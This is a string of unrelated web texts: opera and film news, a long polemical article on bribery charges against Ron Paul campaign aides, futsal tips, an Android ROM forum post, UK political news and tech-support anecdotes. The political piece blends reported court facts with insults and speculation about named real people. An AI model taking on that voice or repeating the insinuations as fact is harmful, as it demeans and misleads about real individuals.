dress, as per the wishes of director Peter Sellars. Baritone José van Dam sang the title role, and soprano Dawn Upshaw was the angel who appears to him periodically. Kent Nagano conducted the vast ensemble. "Peter Sellars opened up the rehearsals in Salzburg to anyone who wanted to come, as long as we were quiet and didn't disrupt," Hannigan told Ben Heppner. "In a way, it was kind of like going to church, because the rehearsal space that Sellars created with Nagano was.... it was sacred." Hannigan was singing in another production at the festival, but she spent nearly every spare minute at Sellars' rehearsals for Saint François — hours on end, watching the immense production come together. The recording that Hannigan has chosen to feature on Best Operas Ever is from that very production at the Salzburg Festival, with those same singers. Hit the play button above to hear Heppner talk to Hannigan about why that Salzburg Saint François was so formative to her. You can tune in to Saturday Afternoon at the Opera on Oct. 8 to hear more from this conversation, plus Kent Nagano's recording of Saint François d'Assise in its (near) entirety. Subscribe to Best Operas Ever on iTunes! Explore more: Best opera ever? Jonathan Darlington chooses Weber's Der Freischütz Best opera ever? Sondra Radvanovsky chooses Puccini's Tosca -EXCLUSIVE: In what may be the first group of features to be financed by cryptocurrency and distributed via the blockchain, a consortium of companies plans to release New Frontiers, a sci-fi anthology of five segments that will combine into one feature. Ground Control Entertainment, XYZ Films, and producer Kyle Franke are partnering with SingularDTV co-founder and president of entertainment Kim Jackson on the project, which will consist of a five-part anthology of films created and directed by Ruairi Robinson (The Last Days on Mars), Stephan Zlotescu (True Skin), Zac&Mac (Law Zero), and Tyson Johnston (Lunar). Producer Scott Glassgold, Ruairi Robinson and Ground Control Entertainment developed the universe for New Frontiers with screenwriter Philip Gelatt. Production will start in the first quarter of 2018. Futurism Studios will serve as an executive producer on the project. No details on the anthology plots have been released. The combined films sport a budget of $5 million, or approximately 9000 in ether, the digital currency derived from the ethereum blockchain and one of the largest cryptocurrencies in the world. The deal was negotiated by SingularDTV’s Jackson, with Chris Spicer and Nick Scott from Akin Gump for XYZ and Allison Binder for Ground Control. Jackson’s credits include Tub (Sundance 2010), Children of God (Newfest, Outfest 2010, HBO), Gun Hill Road (Sundance 2011 competition, 2011 theatrical release), and Blue Caprice (Sundance 2013, MoMA New Films/New Directors, IFC/Sundance Selects). It was nominated for a Spirit Award. “I’m very proud that SingularDTV is creating a new frontier of its own, with a peer-to-peer funding and distribution platform, connecting fans with the films and filmmakers that they love,” said Jackson. “Our platform allows for audiences and creators to mutually benefit from the success of any project. As long as they keep supporting projects, there is no end to the possibility of sequels or TV series continuing to reach eager audiences. With SingularDTV there are no disappointing cancellations of beloved pilots or series. It’s a self-sustaining franchise.” SingularDTV’s Ethervision distribution platform streaming channel plans to offer films, music and other content later in 2018. The company has been ramping up its activities and just announced the appointments of executives Shreesh Tiwari (chief strategic officer), Archna Desai (chief operating officer), and Oliver Mahrdt (SVP of marketing). -It is easily the most depraved little episode of presidential campaign crime in decades, worthy of Nixon’s CREEP or Boris Yeltsin’s goons, and it’s been almost totally ignored by the media—mainstream and otherwise. Ron and Rand Paul’s top campaign aides, led by the husband of Ron Paul’s granddaughter, bribing and extorting a crooked Tea Party Iowa politician to endorse the “Ron Paul rEVOLution”—which turns out to have been little more than a mirage built on fraud, oligarch cash, and the credulous fantasies of a few thousand pimply college-aged waffendweebs. And then there’s the specter of the world’s largest private surveillance apparatus, Google, looming over this story—playing a central role in the criminal investigation that is both deeply conflicted, and oddly conflicting. For over a year now, Google has refused to comply with federal warrants to hand over Gmail accounts of the three indicted Paul campaign managers and operators: Jesse Benton, John Tate, and Dimitrios Kesari, who all have held senior posts in Rand Paul’s various campaigns and PACs. (Many of the legal filings mentioned in this article are embedded below.) But it goes further: Ron Paul himself is named in a federal subpoena made public last year. Prosecutors want access to the libertarian hero’s emails, as he appears to be a person of interest in the criminal investigation, an investigation that Google has been hindering with legal roadblocks and distractions. The crimes are bad enough, and I’ll explain them in a minute—but when you have the most powerful Internet company in the world, and one of the largest corporate lobbyists in Washington DC, protecting indicted criminals who run presidential campaigns for politicians—Ron and Rand Paul—which Google has given thousands of dollars to in recent years, and whose libertarian ideology Google has supported in a number of ways and venues. . . . then we’re talking about potentially nightmare-scenario levels of conflicts-of-interest. Potentially—that’s the key here, because the real story of Google’s role in this sordid crime is a bit more complicated than that, and not entirely evil, much as that might frustrate me and many of our readers. Google’s problem in this case rests in its overwhelming monopoly power—it’s as if the Nixon Tapes were on Google’s servers, along with all of our own personal recordings, and Google had a policy of generally being a pain in the ass about handing over tape recordings so as to keep consumers lured into spending all their babbling moments babbling into their tape recording product...only in this case, Google is also a major campaign donor to Nixon and his political agenda. It’s very problematic, and I’ll save a deeper discussion of Google’s conflicts in fighting government warrants for Ron and Rand Paul’s indicted felons for another article... But first, the crime. Let’s start with Kent Sorenson, a mean, dumb, thumb-headed prairie bumpkin who so far stands as the only person convicted of a series of felonies involving the Ron Paul 2012 campaign, after Sorenson pled guilty last year to crimes—including filing falsified federal election reports, and obstruction of justice, crimes that could carry a maximum sentence of 25 years behind bars. Sorenson was, until recently, Iowa state Senator Sorenson, Iowa’s leading firebreathing Tea Party radical who vowed to “burn down” Des Moines when he won his seat in the state’s upper chamber in 2010. Sorenson talked the God-talk, bashed gays, the poor, drug users, and immigrants, which made him a darling among Tea Party libertarians like Ron Paul, who personally endorsed Sorsenson’s run for state senate in 2010. Among the bills Sorenson pushed—a state Constitutional amendment banning same-sex civil marriages; a “birther” law aimed at Obama, requiring presidential candidates to produce their birth certificates; a law forcing indigent welfare recipients to submit to random drug tests—and denial of benefits if they failed the tests. Naturally, it was later discovered—after he was elected— that Sorenson had been busted in 1992 delivering a baggie of weed and taking $30 cash from a drug informant, for which the Tea Party firebrand was convicted of an aggravated misdemeanor and sentenced to six months in county jail. He was 20 years old; he served five days. When the story came out in 2011, he blamed another guy and claimed to have mended his ways. But it was also discovered that he’d welched on his child support payments, had his wages garnished, was penalized again for failing again, was charged but cleared of domestic violence, and had declared bankruptcy on his mortgage and student loans debts, which he blamed on usurious interest rates. In other words, a typical mean dumb white lowlife. Last year, after Sorenson was first convicted of taking bribe money from Ron Paul and lying about it, he was subjected to mandatory drug tests of the sort he voted to impose on Iowa’s poorest residents—and yes, Sorenson failed his own drug tests — not once, but three times. And just last month, police arrested Sorenson again for allegedly beating his wife. But in our official narrative, as far as all the media harrumphers and pundits were concerned, Sorenson was a serious Tea Party evangelical, driven by conservative principles, no matter how much those principles might ruffle mainstream two-party Establishment feathers, by gum!—just like Ron Paul. In early 2011, Sorenson’s endorsement was something taken seriously, as a matter of weighty Tea Party principle—and he threw in early for Michele Bachmann. As it turns out, he endorsed her, and became her Iowa campaign co-chairman, on a more familiar principle: Payment in kind. In secret and in violation of Iowa Senate ethics (and federal laws, once those bribes became falsified reports), the Bachmann campaign paid Sen. Sorenson nearly $8,000 per month in a clunky scheme in which Bachmann funds went through a couple of dummy companies and into Sorenson’s pocket. This is how politics works, folks; it’s not what they teach you in middle school civics classes, but journalists should’ve gotten over that little shocker by now. In public, Sorenson said his endorsement of Michele Bachmann was all on account of shared deep Christian libertarian principles. Meanwhile, towards the end of 2011, as the Iowa caucuses were drawing near, Ron Paul’s grandson-by-marriage, Jesse Benton, and his fellow staffers, having learned Sorenson was for sale (apparently everyone but the media knew it), opened negotiations to buy Sen. Sorenson’s support by outbidding Bachmann. It helped that Ron Paul was raising money hand over fist compared to Bachmann, thanks to all the Silicon Valley and extraction industry billionaires who love Paul’s vision of government without taxation or regulation or welfare or help of any kind for anyone or anything, but their private property, which is always in need of armed protection... According to a recently unsealed indictment, in late October 2011, Benton — who also led his uncle Rand Paul’s SuperPAC until just recently, in case I haven’t made this family point clear enough — sent an email to Sorenson and Sorenson’s top aide offering to take over paying Sorenson’s $8,000/month bribes in return for Sorenson switching his allegiance from Bachmann to Dr. Paul. Both Sorenson and Dr. Paul’s people agreed to delay Sorenson’s switch until after a meeting of Iowa Republicans, where he’d strengthen his own position within the party, on the eve of the big caucasus, as a principled Tea Party Christian libertarian. Then from mid-November 2011 until late December, a Ron Paul operative, Dimitrios Kesari, made numerous calls to Sorenson to negotiate and lobby for the bribe-and-switch deal. A few days before the switch, around Christmas 2011, Sorenson agreed with Ron Paul’s campaign heads to write up a press release in-advance explaining how his Tea Party principles moved him to abandon Bachmann for Ron Paul. Sen. Sorenson then sent his draft statement to the Ron Paul 2012 campaign chiefs for editing—his granddaughter's husband Jesse Benton, his family operative Kesari, and John Tate, the head of a Ron/Rand Paul libertarian organization called Campaign For Liberty, who also served as an officer in Rand Paul’s SuperPAC. And in case Sorenson double-crossed Ron Paul over his planned double-cross of Michelle Bachmann, Dr. Paul’s campaign chiefs had readied a plan to smear Sorenson and ruin his life by leaking select emails of their payoff negotiations. Sorenson agreed to switch to Ron Paul in exchange for being put on an $8,000 a month under-the-table salary, plus a $100,000 payoff to Sorenson’s personal PAC. Being a thumb-head, Sorenson demanded a $25,000 check, and Dr. Paul’s operative, Kesari, agreed, handing him a check in the name of Kesari’s wife’s jewelry company at an Iowa diner. But as soon as Sorenson got that big fat $25,000 check, he wasn’t sure what he should do with it. So he just held onto it, figuring it would be useful later (and it was useful—to federal prosecutors). Two days after getting the $25,000 check, on December 28, 2011, Sorenson appeared at an early afternoon rally for Bachmann at Pizza Ranch, still playing the role of her campaign’s co-chairman—but he kept silent throughout the Bachmann rally, claiming he couldn’t speak because he’d just had dental work done and his mouth was so numb “he was afraid he would drool on himself,” according to the Des Moines Register. After the Pizza Ranch rally for Bachmann, Sen. Sorenson skulked away in his car, and showed up to a Ron Paul 2012 rally (“Sorenson said he drove to Paul’s event, called a Paul staffer and asked: ‘Do you guys want me on board?’”—reported the Des Moines Register) and jumped on the stage in a fake-spontaneous Tea Party moment of libertarian passion, announcing that his conscience had compelled him, at the spur of the moment, to switch allegiance to the Ron Paul rEVOLution! Sen. Sorenson sent the 500 Ron Paul dupes into a placard-waving frenzy, telling them, “We have a choice where we can elect more of the same … or we can elect someone who’s going to transform this country to get it back to what our founding fathers wanted, and I believe that’s Ron Paul.” Benton gave statements to the press full of high-minded civics class gravitas: Congressman Paul is delighted to accept the endorsement of Senator Kent Sorenson, whose blessing and assistance carry a great deal weight in Iowa. The fact that he doesn’t take this decision lightly tells a great deal about the senator and Ron Paul. Indeed. And if that wasn’t sick farce enough, the Paul campaign released a giant “spontaneous” statement from Sen. Sorenson—heavily edited by Ron Paul’s campaign chiefs and relatives—full of high-minded anti-establishment libertarian blather, air-quotes and all. Here are a few choice quotes:: Since my election, I’ve learned that doing the right thing isn’t always easy. It’s easy to see why so many legislators “sell out” once elected. The pressure to do so is immense. But what America needs now is a President who will not just “go along to get along.” Instead, we must send someone who puts doing what is right above all else to the White House. That candidate is Ron Paul. If you are as frustrated as I am with what's been done by the ruling class, I urge you to join me in supporting Dr. Paul. We can send the national big government political establishment a message they will never forget by voting for Ron Paul for President in the January 3 Iowa Caucuses. Sorenson’s betrayal was meant to land as a punch to the gut, to shock and awe Bachmann into total submission, losing her co-chair like that. What the Ron Paul hicks didn’t expect was that Bachmann — a prairie hick of a different subspecies of mean-and-dumb, the kind of prairie hick that self-destructs unless under constant 24/7 watch from a slick political minder — would expose the whole scam. Bachmann went straight to the press and spilled the beans, that Sorenson had been bribed by Ron Paul’s campaign, and that Sorenson had even told her that they were going to bribe him. Which was true—Sorenson had been bargaining with her, trying to leverage the Paul campaign’s offer to squeeze a better counter-offer bribe out of Bachmann. Immediately after Bachmann’s suicidal statement, her top aides ran to the media and said no-no-no-, you know how crazy Michele is, cuckoo! cuckoo!... nothing of the sort was going on, we’re all honorable people here, Ron Paul’s family member included. Because, obviously, there was the fear that if anyone decided to look into the allegations, they’d find that Bachmann’s campaign was guilty of the same crime. And according to last year’s subpoena, the FBI wants access not only to Ron Paul’s and his campaign staffers’ emails, but to Bachmann’s and her staffers too. * * * * Bachmann’s statement about Paul’s bribes caused a brief controversy among the media, which didn’t want to believe such a thing could happen in America, and especially not from the campaign of that real-life 21st C Jimmy Stewart—albeit a hick-fascist Confederate Jimmy Stewart, but earnest and “authentic” all the same, according to the rubes in the media, pushing Paul as the perennial anti-establishment hero. Among the conspirators, however, it caused a real panic, and a brief change of plans. The next day, December 29, Benton & team had Sen. Sorenson issue a defiant statement that basically said, “You think I get paid for my principles? Wait till you see the FEC filings, then you’ll see that Bachmann is a liar and no one’s paying me anything, by gum!” And then Sorenson and the Paul capos proceeded to forge their FEC filings to funnel their payments to Sorenson through a pair of dummy front companies. Not exactly the sharpest conmen, but brains aren’t much of a requirement for success as a con artist. An empty conscience, some cunning, and the stupid sense that you and your testicles are smarter than everyone else—those are much more important qualities. And then in January 2012, the payments started rolling: Sen. Sorenson filed an invoice for $33,000 from his dummy company, Grassroots Strategy, to a Ron Paul company called ICT Inc; then the Ron Paul people behind ICT filed an invoice for $38,125 from ICT Inc to the Ron Paul 2012 committee, and that way passed through their first payment. That was in January 2012, while the rubes in the libertarian movement and their fanboys in the progressive media were having high-minded debates about Ron Paul’s principles. More followed throughout that year, ending in June, totaling nearly $80,000. The last payment, for $8,850, elicited an annoyed response from John Tate—who until his recent indictment was president of Rand Paul’s main SuperPAC, America’s Liberty. When Sen. Sorenson’s last invoice came, Tate emailed Ron Paul operative Kesari: What is this? What is it for, who is it? Why do we keep paying them? The last payment was supposedly the last. Kesari responded with two short emails: This is the last payment for kent Sorenson [sic]. The deal jesse [Benton] agreed to with kent. Is [sic] was for 6 months By this point, Ron Paul’s people got even lazier and just expensed the last payoffs as “AUDIO/VISUAL EXPENSES” in their FEC filings. And all this time, for some inexplicable reason, Sorenson clung to that uncashed $25,000 check the way that zombie in Romero’s Dawn of the Dead clung to that pistol as he shuffled around the shopping mall, dimly aware in some twitchy reptilian-zombie way, that the check could be useful. CUT TO: September, 2013. One of Sorenson’s true-believer Christian aides couldn’t stomach the sleaze, spilled the beans and incriminating emails, and landed Sorenson in an ethics committee investigation that he couldn’t crawl out of. At this point, former Ron-now-Rand Paul operative Kesari jetted to neighboring flat state Nebraska so as to not look suspicious, and gunned it straight to Iowa to get that motherfucking $25,000 check from Sorenson that the lughead never cashed. According to a federal indictment, Kesari [the Paul operative] flew to Omaha, Nebraska, backtracked to Senator Sorenson’s home in Iowa, required that he and Senator Sorenson show each other that neither was wearing a recording device, and then asked that Senator Sorenson either return to Kesari or alter the $25,000 check that Kesari previously gave to Senator Sorenson...which Senator Sorenson refused to do. One thing Sen. Sorenson had some experience with was ratting out others. He ratted out the pot dealer he got busted with and got his sentence reduced to five days and probation, and later, in office, voted to turn up the heat in the War On Drugs (funny how this didn’t bother Ron Paul’s principled people); and last year, after FBI agents raided Sorenson’s home and took his and his family’s computers, Sorenson copped a plea. Now the feds have the very top people in both Ron and Rand Paul’s campaigns for president going back to 2007, campaigns heavily underwritten by Silicon Valley billionaires and true believers... This past week has been an active one in the government’s case against Jesse Benton, John Tate and Dimitrios Kesari—the Southern Iowa District Court ruled that they were such a risk for leaking confidential documents that they could only view government evidence on CDs stored in their lawyers’ offices. On Thursday of this week, Jesse Benton and John Tate appeared before the court and pled not guilty on a number counts that mirror the Watergate charges 40 years ago: conspiracy to “knowingly defraud the United States”; “knowingly and willfully falsify, conceal and cover up by a trick, scheme and device a material fact in a matter within the jurisdiction of the executive branch”; “knowingly cause the concealing, covering up, falsification...with the intent to impede obstruct, and influence the investigation...” and so on. Meanwhile, the Court just sided with Google that it still wasn’t required to comply with the FBI warrant just yet and allow access to all the Gmail accounts that the feds demanded last year. As Google was careful to point out in its filings, the company has made sure to preserve and protect all email communications from those listed on the warrant — including presumably Ron Paul’s emails — to prevent anyone from trying to scrub or alter them. So Google is essentially complying, and they’re going to eventually hand them over, in all likelihood, and it will be some very incriminating material that could drive a barbed stake in the heart of libertarianism’s First Family... The funny thing is that real libertarians don’t even necessarily believe that bribery and fraud are legitimate crimes, if carried out in self-interest. For the most part, even mainstream libertarians from the CATO Institute argue that bribery should be legal. And yet—because libertarians have paradoxically transformed in recent years into the most sanctimonious loud-mouthed whiners in the political arena, this is one of those ugly, sleazy, low-rent corruption scandals, going all the way into the Paul family gene pool, that won’t sit well with the young, credulous males who give the libertarian cult its energy. Most of all, however, this story finally answers the question that all the hundreds of quasi-grizzled, quasi-cynical campaign trail journalists failed to answer: What happened to Rand Paul’s presidential campaign, the most hyped-up, promoted candidacy of anyone’s over the past two years? The liberal media has been drooling over Rand Paul like he’s the second coming, the Confederate with the heart of gold that all middle-class liberals dream of. I heard a lot of suckers claim that the Koch brothers had suddenly decided, after all these years of supporting their pet Pauls, that Rand was not to their liking, too much of a lightweight, or something like that. Because you know the Kochs only go with Very Serious Gravitas-y Heavyweights—the Herman Cains, Michele Bachmanns, Scott Walkers… I’ve learned since coming back here that American political journalists mistake their sneering for cynicism. Cynicism is what you learn in a place like Russia, which isn’t as far from the US as one would think (or hope). It never crosses a smug sneery journalist’s mind that the politics they’re reporting on is as corrupt as a tinpot dictator’s, that all the cant about principles is capital to be cashed, and cash it they do. Because politics is about dividing up trillions of dollars in wealth and power and privilege, not about high-minded debates in three-pointed hats. Those campaign donations that all the boring, unreadable nonprofit watchdog sites report on—that’s the dull accounting stuff for public consumption. The real game is the payoff—the check cashed, the dummy company that gets the wire transfer. First you have to be willing to see that it’s there. -Futsal: it might look like a simple game, but playing it well is far from easy. It takes a level of technical and tactical understanding that can take years to develop. Luckily, there are those out there who already have this knowledge and are generous enough to share it. The following 25 tips for futsal have been put together by elite level futsal players and coaches (credits below), with decades of combined experience in the game. They’ve distilled down the complexity of the game into simple technical and tactical rules: 25 maxims that you can bank on making you a better player, and improving your team. Learn them, live them, love them. Attacking Futsal Tactics Open the court, wingers should play hugging the sidelines to provide maximum width The 3 second rule: players must be on the move all the time when they don’t have the ball. When your team is attacking you should never stay in the same place without the ball for more than 3 seconds. In a game of 40 minutes you play for 4 minutes with the ball and 36 without it. To find space, occupy the space left free by a teammate. The player with the ball moves closer to the defender (to be able to go past him and force him to turn around), the players without the ball move away from their defenders (to create space and passing options). Help the player who has the ball. Sometimes this means getting closer; other times you need to move away. The aim, every time, is to create a clear passing line between you and your teammates. Never lose sight of the ball nor the eyes of the teammate who has it – sometimes it doesn’t matter if you move if your teammate has not even seen you. Pass and run – like the old motto: ‘pass and move’, but with an emphasis on the urgency of your movement. Be generous with your passing. The game is won by the TEAM who scores more goals; not the player who scores more goals. Separate where you look from where you pass. Do not make obvious passes. Use the element of disguise. Futsal is a sport for “liars”. Good players make it more difficult for the opposition to read them by performing feints when they’re passing, and checking away from their markers before moving in the other direction and losing their marker. (See an example of Sean Garnier do it in his tips for futsal – see tip 2 on his list). Passes must be strong but not carelessly violent. A firm pass doesn’t give defenders any unnecessary time to intercept it, or to close the space on the player receiving it. Be careful with passes from one wing to another when playing close to your own goal, near the “D”. If they’re intercepted they’ll lead to an easy chance for the opposition. The rule of 5 passes. Patience is often needed in futsal. Where the opponents are set-up behind the ball in a defensive position, expect to pass the ball at least 5 times before shooting to disorganise them. The goalkeeper must know how to deal with the tempo of the game. When their team is losing, goalkeepers should play as quick as possible, but in a winning position they should take their time with the restarts and their throws. The backman or “fix” (or any player for that matter) never dribbles if he is the last man, because if he loses the ball it will be a 1 v 1 against the goalkeeper. Finish the play with a strong shot to avoid a counterattack. A weakly struck shot ends up in the goalkeepers arms and can quickly put the opponents on the front foot. Defending Futsal Tactics Aggressiveness: a ball is never given up; fight for every single one. Defending is more about attitude than technique. Players have to want to steal the ball with everything they’ve got and try to be the best defender in the team. Strength in the tackle. Tackle the ball like you mean it but not violently. Do not allow the player with the ball to think. Continuously annoy / disrupt the opponent but without trying to steal the ball, unless they lose control of it. Never lose sight of the ball or the eyes of the player who has it. Exactly the same tip as no.6, but equally crucial in defense. The wing (sideline) is one more defender. Direct the opposition player with the ball towards it. There is no rest when defending and no player should adopt an upright position / stance, as the opposition will exploit the tiniest mistake to score. All players must defend behind the ball. When you haven’t got the ball all players get back to defend, and all of them should be behind the ball, making it difficult for the opposition to break you down. Never cross over in defence. Talk to each other and change the players being marked. There should be constant communication between defenders The above list has been reproduced (with small amendments) from “FUTSAL: Technical & Tactical Concepts” by Dr. Daniel Berdejo-del-Fresno, Jonathan Steel and David Jennings. This has been done with the permission of Dr. Daniel Berdejo-del-Fresno, who, among a host of achievements, is Sports Scientist / Strength & Conditioning Coach for the England National Futsal Team and has plenty of experience with elite level futsal players. Daniel has generously made his book available free for download on his blog: http://danielberdejodelfresno.blogspot.co.uk/2015/06/book-released-futsal-technical-tactical.html It contains lots of futsal tips, techniques and tactics – definitely worth downloading a copy. More tips and tactics for futsal If you’re just starting out on your futsal journey, and you’re craving more tips. Check out our top 10 tips for futsal beginners. Full of very practical tips, it is a useful crib sheet for anyone new to the game. Share this: Tweet Email -Android OS version: 8.1.0_r7 8.1.0_r7 For devices: Kenzo Kenzo Authors build: xyyx xyyx Source code: https://github.com/nitrogen-project | https://github.com/nitrogen-os-devices https://github.com/nitrogen-project | https://github.com/nitrogen-os-devices Developers: xyyx xyyx Thanks: billchen1977 for brilliant work on Kenzo, ezio84, beanstown106, maxwen and etc. billchen1977 for brilliant work on Kenzo, ezio84, beanstown106, maxwen and etc. Google Apps: opengapps.org opengapps.org Recovery: TWRP Attention: I don't force you to use my ROM. I fix bugs that doesn't require many commits from CAF. If you don't like something, please, use another ROM and don't write in this thread. Please. SELinux in permissive mode. It is ready for enforcing. But I like no denies. Go to your recovery Wipe Data Install ROM and Gapps zip. Reboot - 1st boot takes around 5-10 minutes. Code: Status Bar: - Network traffic; - Bluetooth device battery level in status bar; - Adjust brightness by sliding across the status bar; - Input method selector notification. Quick Settings: - Number of rows and columns; - Quick pulldown; - No QS on secured lockscreen; - Brightness slider; - Smart pulldown; - Show/hide adaptive brightness icon in QS; - LTE enable/disable tile. - Hiding tile's caption Buttons: For devices with hardware buttons - Enable/disable buttons; - Adjust brightness; - Keys brightness timeout; - Reassignment hardware buttons action; - Volume rocker wake; - Playback control by volume keys; - Allow volume keys to enable/disable “Do Not Disturb” mode. Navigation Bar: - 3 type navigation bar mode: Smartbar (as usual in android) and Fling (navbar from “Dirty Unicorns” rom), AOSP Navbar; - Pulse settings in Fling navbar; - Navbar height control in portrait and landscape orientations; - Context buttons layout position; - Context buttons transparency; - Button touch animation; - Cursor arrows in navbar while typing; - Force show/hide navbar on the bottom side when device is rotated; Gestures: - Open camera by double tap the power button; - Double tap on lockscreen to put the device to sleep; - Double tap status bar to put the device to sleep; Lock Screen: - Lock screen shortcuts; - Show/hide weather on lock screen; - Longpress power button with lock screen turn on torch; Power Menu: - Customizing power menu; - Enable/disable power menu on secure lock screen. Recents apps: - Exclude apps from the recents panel; - Select recents view. - Clear all button positions Miscellaneous: - Screenshot type – fullscreen screenshots or selected area as a screenshots; - Enable MTP instead charging after connect to PC; - Wakelock blocker; - Alarm blocker - App ops; - Wake up device if charger is plugged/unplugged; - Allow signature spoofing (microG). Other: - Quick unlock - Enable/disable dashboard suggestions, conditions; Pal Known Bugs: XDA:DevDB Information Nitrogen OS, ROM for the Xiaomi Note 3 Pro Standart/Prime XDA:DevDB Information [ROM] ► [8.1.0] ► [OTA] ► Nitrogen OS Beta, ROM for the Xiaomi Redmi Note 3 Contributors Version Information Based on AOSP xyyx (Max) - main developerCopy the ROM and Gapps in SD card.EnjoyStable builds HERE Testing versions HERE Mirror for SF - HERE If you like my ROM, you can support me.xyyx:- sim detection after boot (random)- VOLTE video call- hidden wifi (need to turn off and on display after adding)8.x OreoLinux 3.10.xAOSP, CM, Pure, DU, OmniROMTesting2017-01-112018-03-04 -Labour’s Shadow Home Secretary has rejected suggestions that UK-Israeli relations would suffer if party leader Ed Miliband becomes prime minister in May. She dismissed such claims a bid to “play party politics” with foreign affairs. Yvette Cooper’s comments were issued in an exclusive interview with the Jewish Chronicle in response to remarks made by Conservative Northern Irish Secretary Theresa Villiers. Villiers had claimed in January a newly-elected Labour government would have a “chilling” effect on Britain’s relationship with Israel. Cooper said the suggestion that Britain’s role as a key ally of Israel would be diminished if Labour wins May’s general election is “utter nonsense.” "It's nonsense to say Labour is anti-Israel", says @YvetteCooperMP. Relationship w/Jewish community “strong as ever” http://t.co/rPe19KKNAy — Marcus Dysch (@MarcusDysch) February 12, 2015 She said Villiers’ bid to play political football with foreign policy issues was “disappointing.” Cooper acknowledged, however, Miliband’s condemnation of PM David Cameron’s response to the 2014 Gaza conflict was scathing. At the height of the conflict, Miliband had described Israel's military offensive in Gaza as“unacceptable and unjustifiable.” The Labour chief had also criticized Cameron’s stance on Israel’s actions, accusing the Tory leader of being too ambivalent on the military campaign. Boycott Divestment & Sanctions: ‘Tactic not principle’ While some backbench Labour MPs have signaled support for Britain’s boycott, divestment and sanctions movement (BDS) against Israel, the campaign has not been endorsed by Miliband or Cooper. The British arm of the movement is backed by academics, pro-Palestinian campaigners, and politicians across the UK. READ MORE:UK MP says Bradford doesn’t want Israeli goods, services or visitors The BDS campaign, which is supported worldwide, says it seeks to “strengthen and spread the culture of boycott as a central form of civil resistance to Israeli occupation, colonialism and apartheid.” Launched in the Occupied Territories in 2005, it is supported by over 170 Palestinian organizations representing exiled Palestinian refugees, Palestinians in the occupied West Bank and Gaza Strip and Palestinian’s who suffer discrimination in Israel. Speaking to the Jewish Chronicle, Cooper said Miliband has made his position on boycotts against Israel clear. “Ed does defend Israel, but that’s not to say he will support every decision the Israeli government takes. No one could expect that,” she added. While addressing the UN in October 2014, world renowned linguist and political commentator Noam Chomsky was somewhat critical about the BDS campaign. He argued it is characterized by a set of tactics rather than principles. “Tactics are not principles. They’re not actions that you undertake no matter what because you think they’re right,” he said. Decline in neighborhood policing As part of her role in government, Cooper has worked closely with Jewish groups in an effort to tackle racism and hate crimes in the UK. Amid a rising climate of anti-Semitism in Britain, the Shadow Home Secretary said government cuts had led to drop in “community-led policing.” Cooper said the decline of a neighborhood police presence in Britain is problematic. “You need that community-led policing work because people have a right to feel safe on their streets and in their homes,” she added. A poll conducted in late January indicates Israeli foreign policy has not impacted on the majority of Britons’ resolve that Israel has a right to exist. Great that PM says antisemitism goes against what UK stands for. Wish politicians would say that for all racism http://t.co/S7WSr1VlpF — rachel shabi (@rachshabi) February 9, 2015 The survey, commissioned by the UK’s All-Party Parliamentary Inquiry into Anti-Semitism, revealed 89 percent of Britons polled said the Middle Eastern state has a right to exist. The survey suggested Britain’s current rate of anti-Semitism mirrors that of 2005, hitting 4.6 on a scale of one to 10. According to the scale, one indicates anti-Semitism is “not a problem” in the UK, while 10 indicates it is “a serious problem.” In the wake of the Charlie Hebdo massacre in Paris, members of the Jewish community in North London’s Stoke Newington told the Shadow Home Secretary they were concerned. Cooper said high-profile terror attacks and anti-Semitic abuse on the street and on social media platforms can seriously impact people’s day-to-day lives. “We should never ignore that. We have to take it seriously and provide that reassurance for people,” she said. The Shadow Home Secretary insisted a newly-elected Labour government would implement measures to counter extremism and the rise of radicalization in Britain. She added a reformed strategy for tackling hate crime in Britain is paramount. Cooper condemned social media firms for failing to intercept online anti-Semitic abuse, stressing how Labour's Lucia Berger MP was exposed to offensive vitriol from an online troll in 2014. -Dubai startup BitOasis announces its first round of funding Dubai based bitcoin startup BitOasis has secured a new investment of seed funding for an undisclosed amount led by Wamda Capital. BitOasis provides bitcoin exchange, wallet, and cross-border payment services in and around the UAE. According to Wamda Capital, the seed funding round included Barry Silbert’s Digital Currency Group (DCG), Samih Toukan, the serial tech entrepreneur chairman of Jabbar Group, as well as Payfort and other tech angel investors based in New York and Dubai. “Our aim since launch is to build the largest digital currency exchange and payments infrastructure platform in the Middle East and North Africa,” said Ola Doudin, CEO and cofounder of BitOasis. Within the next year using the new venture capital, the bitcoin startup plans to grow its team further and expand to other Arab countries around the region to strengthen its presence outside the UAE. One of the main advantages that BitOasis has over other startups in the space is at this time it’s the only bitcoin business focused on the Middle East. -Get answers from your peers along with millions of IT pros who visit Spiceworks. Here are some stories we’ve found across the internet from tech support folks we’d love to share. Each of them is full of fun and drama. 1. Making users liars since 1975 Once, I had a user come in… User: My MacBook air is really slow. Me (while opening up terminal and running uptime): Hmm, when was the last time you rebooted? User: Oh, a few days ago. Me: According to your compute, it’s been up for 41 days. User: It’s lying. She also had 5 Chrome Windows with at least 20 tabs apiece, Spotify, Photoshop, Word, AND Excel. 2. Now you see me, now you don’t. Customer: Do I have to watch my computer screen to use your app? Me: It’s considered a best practice. Otherwise you can’t see what people are saying. Customer: I see… 3. Cat and mouse Me: Good afternoon, this is Ari. How can I help you? Lady: My son’s computer is just pissing me off. He is traveling with his new wife. Can you help me? Me: Sure. Have you started the computer? Lady: Oh yeah. Me: I will need to see the configuration. Can you do a left click on the Start button bottom left of your screen with the mouse? Lady: That arrow thing is acting like a son of a bitch, not moving. The right clicks seems to show me some shit. Me: Could you please lift the mouse and check that the ball is moving freely and there is no dirt? Lady: Ah… uh… Now I know where that bloody ball came from. My cat’s been playing with it since yesterday… 4. P as in Peter Me: Sir, do you see a login screen asking for username and password? User: Yes. Me: Type admin as username. User: Badmi? Me: No, sir, its admin. A as in alfa, D as in delta, M as in Mike, I as in India, N as in November… User: Admin, right. (35 minutes passed. Finally, the user did it.) Me: Can you type the word password in the password field and click login? User: Bassword. “Invalid bassword.” Me: Try again. Type P as in Paul. User: B as ball? Me: No sir. It’s P as in Peter or P as in parrot. User: B as Beter? Me (trying again): P as papa. User: B as bapa, (This next part is my favorite.) Me (losing my temper): Sir, it’s not AB… it’s abcdefghijklmnop. P. P! User: Oh so it’s P! Huh!! I’ll try now. 5. My computer is not yours Me: XYZ technical support, how may I assist you? User: I have some difficulty in locating some files on my computer, it seems I am not able to open any files Me: Sir, could you please check whether you are able to get the Desktop screen. User: Yes, now what? Me: Can you open My Computer? User: How can I open your computer? 6. Fix it! Customer: Fix it! Me: Fix what, ma’am? Customer: My Internet connection. Can’t you tell why I’m calling? Me: No, ma’am, the technology doesn’t work that way. (I apologize for any inconvenience, and then 